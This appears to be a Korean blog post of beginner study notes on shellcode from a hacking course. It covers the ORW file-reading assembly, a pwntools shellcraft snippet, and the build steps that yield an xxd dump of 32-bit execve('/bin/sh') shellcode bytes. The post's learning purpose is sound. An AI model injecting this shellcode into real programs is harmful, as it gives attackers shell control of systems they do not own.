서론
이제 셸 코드를 학습한다.
해킹 대회(CTF)를 보면 뭔가 어려워보이던데 한번 꼭 배워보고싶었던거다.
이 글은 그 중 아주 간단한 코드만 정리해놓았다.
그럼 시작하겠다.
셸 코드란?
먼저 Exploit이란 상대 시스템을 공격하는 것을 말하며, 셸 코드란 이런 exploit을 위한 어셈블리 코드를 말한다.
일반적으로 셸을 획득하기 위해 셸 코드를 작성하는데 execve 셸 코드를 장악한다.
ORW 셸 코드
Open, Read, Write 동작을 수행하는 코드로 등정 파일을 읽고 터미널이나 다른 파일에 출력하는 코드이다.
해당 system call을 사용하기 위해 레지스터에 다음과 같은 값을 넣어 호출한다.

구현 자체는 따로 다루지 않겠다. (어셈블리를 이해하면 바로 구현할 수 있기때문에)
레지스터의 rax에는 syscall을 하기 위한 값이 들어간다.
read의 경우에는 0을, write는 1을, open을 2를 사용한다. 이 rax값에 따라 호출되는 시스템 콜이 다르며 인자는 rdi, rsi, rdx 등의 레지스터에 순서대로 들어간다. 이 순서도 호출 규약이 있다.
- 시스템 콜 레지스터 호출 규약: rdi → rsi → rdx → r10 → r8 → r9
시스템 콜이 종료되면 반환값은 rax 레지스터에 저장된다.
이렇게 작성한 어셈블리를 컴파일할 때 C언어로 스켈레톤 코드를 만든 뒤 거기에 어셈블리 코드를 넣고 컴파일하는 방식을 사용한다.
// File name: sh-skeleton.c
// Compile Option: gcc -o sh-skeleton sh-skeleton.c -masm=intel
__asm__(
".global run_sh\n"
"run_sh:\n"
"Input your shellcode here.\n"
"Each line of your shellcode should be\n"
"seperated by '\n'\n"
"xor rdi, rdi # rdi = 0\n"
"mov rax, 0x3c # rax = sys_exit\n"
"syscall # exit(0)");
void run_sh();
int main() { run_sh(); }
이렇게 하면 스택 정렬이나 세그먼트 설정 등을 개발자가 신경 쓸 필요 없이 컴파일러가 초기화 작업을 대신 해주기때문에 편리하다.
주의해야할 점이 있는데, 레지스터는 8바이트만 담을 수 있다. 만약 파일의 주소가 8바이트를 넘는다면 한 레지스터에 모두 담을 수 없기때문에 push로 스택에 한 층씩 쌓으면서 주소를 입력해야한다.
아래는 리틀 엔디안 방식으로 스택에 파일의 주소를 작성한 어셈블리 코드다.
section .text
global _start
_start:
; open
xor rax, rax
push rax
mov rax, 0x676e6f6f6f6f6f6f
push rax
mov rax, 0x6c5f73695f656d61
push rax
mov rax, 0x6e5f67616c662f63
push rax
mov rax, 0x697361625f6c6c65
push rax
mov rax, 0x68732f656d6f682f
push rax
ORW 셸 코드 작성 팁
저번에 사용했던 pwntools에는 ORW 셸 코드를 대신 작성해주는 함수를 지원한다.
context.arch = "amd64"
dir = "/home/file"
shellcode = shellcraft.open(dir)
shellcode += shellcraft.read('rax', 'rsp', 0x30)
shellcode += shellcraft.write(1, 'rsp', 0x30)
shellcraft는 contect.arch에 명시한 아키텍처에 따라 셸 코드를 작성해주는 클래스이다.
인자는 위의 호출 인자와 같으며, 레지스터를 직접 명시하여 사용할 수 있다.
Execve

계속 말했던 셸(shell)이란 사용자가 운영체제에 명령을 내리기 위한 인터페이스이다.
이런 셸을 획득하면 시스템을 제어할 수 있게되므로 해킹할 때 이 셸을 획득하는걸 목표로 한다.
특히 그 중 execve셸 코드는 /bin/sh 같이 임의의 프로그램을 실행하는 코드로, 호출하는 순간 메모리에 /bin/sh가 올라가 서버를 직접 제어할 수 있게된다.

위는 execve를 실행하기 위한 인자이다. 보통 /bin/sh를 실행하기 때문에 rdi에 해당 주소를 넣고 rsi와 rdx는 null을 넣어도 상관없다.
마찬가지로 코드는 바로 작성할 수 있기 때문에 따로 적진 않겠다.
스켈레톤 코드로 어셈블리 코드를 컴파일하는건 로컬에서 이 코드가 작동하는지 확인하기 위해서이다.
실제로 해킹할 때는 asm파일을 직접 컴파일해서, 실제 byte code로 변환하는 과정을 거쳐야한다.
이를 위해서 objcopy를 사용한다.
$ sudo apt-get install nasm
$ nasm -f elf shellcode.asm
$ objdump -d shellcode.o
$ objcopy --dump-section .text=shellcode.bin shellcode.o
$ xxd shellcode.bin
00000000: 31c0 5068 2f2f 7368 682f 6269 6e89 e331 1.Ph//shh/bin..1
00000010: c931 d2b0 0bcd 80 .1.....
$
nasm으로 셸 코드를 컴파일 한 뒤 objcopy로 추출하고싶은 섹션만 따로 빼 shellcode.bin파일을 만든다.
이를 대상 프로그램에 넣어 실행하면 /bin/sh가 실행되면 시스템을 장악할 수 있다.
후기
아무래도 입문이다보니 셸 코드의 가장 기초적인 부분만 다룬거같다.
조금 더 딥하게 배우고싶은데 그건 내가 따로 배워야하는 부분이지만 아쉬운 점도 있긴하다.
그래도 어셈블리로 직접 셸 코드 작성하는것도 재밌었다.
'보안 > System Hacking' 카테고리의 다른 글
| [Dream hack] GDB/PWN 정리 (0) | 2026.04.03 |
|---|---|
| [Dream hack] Linux 메모리 구조 & 어셈블리 정리 (0) | 2026.03.16 |
| [Dream Hack] 컴퓨터 아키텍처 기초 정리 (0) | 2026.03.16 |